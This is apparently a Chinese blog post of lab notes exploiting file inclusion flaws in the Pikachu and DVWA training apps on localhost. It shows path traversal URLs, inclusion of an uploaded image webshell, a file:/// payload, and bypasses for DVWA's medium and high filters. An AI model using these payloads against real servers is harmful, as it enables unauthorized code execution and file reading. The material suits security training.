【PTE】文件包含--dvwa，pikachu

最新推荐文章于 2024-06-13 17:59:16 发布

lexi7a

最新推荐文章于 2024-06-13 17:59:16 发布

阅读量276

点赞数

分类专栏： PTE 文章标签：网络安全

本文链接：https://blog.csdn.net/leo788/article/details/128201243

版权

PTE 专栏收录该内容

9 篇文章 1 订阅

订阅专栏

本文档详细介绍了如何利用文件包含漏洞进行学习和实践。通过上传图片并构造特定的URL，分别展示了在本地和远程环境下的文件包含攻击。在DVWA的低、中、高三种安全级别下，演示了不同方式的绕过和利用技巧，包括路径遍历和file协议的使用。

摘要由CSDN通过智能技术生成

pikachu

在文件上传的get关上传一个picshell，记录一下地址：
http://127.0.0.1:8083/vul/unsafeupload/uploads/2022/12/18/417952639edd3256d93475864188.jpg
访问一下可以显示
下边利用这个图片马对文件包含进行练习。

local

//当前包含位置：
http://127.0.0.1:8083/vul/fileinclude/fi_local.php?filename=file1.php&submit=æäº¤æŸ¥è¯¢
//图片位置：
http://127.0.0.1:8083/vul/unsafeupload/uploads/2022/12/18/417952639edd3256d93475864188.jpg
要访问图片就要对现在位置向上访问一级后对unsafe..进行访问即：
../unsafeupload/uploads/2022/12/18/417952639edd3256d93475864188.jpg
//
http://127.0.0.1:8083/vul/fileinclude/fi_local.php?filename=../unsafeupload/uploads/2022/12/18/417952639edd3256d93475864188.jpg&submit=1

在这里插入图片描述
但是出现了报错，实际的访问中应该在图片的上一级还有一个include目录，所以应该对上两级目录进行访问：
http://127.0.0.1:8083/vul/fileinclude/fi_local.php?filename=…/…/unsafeupload/uploads/2022/12/18/417952639edd3256d93475864188.jpg&submit=1
成功显示：
在这里插入图片描述

remote

根据报错得到绝对路径：
在这里插入图片描述
//包含图片url
http://127.0.0.1:8083/vul/unsafeupload/uploads/2022/12/18/417952639edd3256d93475864188.jpg
//最终payloads
file:///C:/phpstudy_pro/WWW/pikachu/vul/unsafeupload/uploads/2022/12/18/417952639edd3256d93475864188.jpg&submit=1

DVWA

同样在high模式里添加图片，在文件包含进行包含

low

图片位置：http://127.0.0.1:8082/hackable/uploads/picshell.jpg
包含位置：http://127.0.0.1:8082/vulnerabilities/fi/?page=file1.php
构造位置：http://127.0.0.1:8082/vulnerabilities/fi/?page=…/…/hackable/uploads/picshell.jpg
成功
在这里插入图片描述

mid

查看包含路径后发现与low位置相同，所以使用同样包含语句，但出现报错：
No such file or directory in C:\phpstudy_pro\WWW\dvwa\vulnerabilities\fi\index.php on line 36Warning: include(hackable/uploads/picshell.jpg): failed to open stream:
通过观察报错信息可知，这个路径中缺少…/…/，查看源码后str_replace函数对…/进行替换，立即双写绕过。
在这里插入图片描述
成功

high

//代码中对文件名做了判断
if( !fnmatch( “file*”, $file ) && $file != “include.php” )
这里可以使用file协议进行包含，file协议利用绝对路径不需要http服务器。
获取绝对路径：
1.phpinfo信息中的document_root中包含着web的绝对路径
2.报错信息中：C:\phpstudy_pro\WWW\dvwa\vulnerabilities\fi\index.php
拼接一下：file:///C:\phpstudy_pro\WWW\dvwa\hackable\uploads\picshell.jpg
成功利用file协议绕过file的限制。
在这里插入图片描述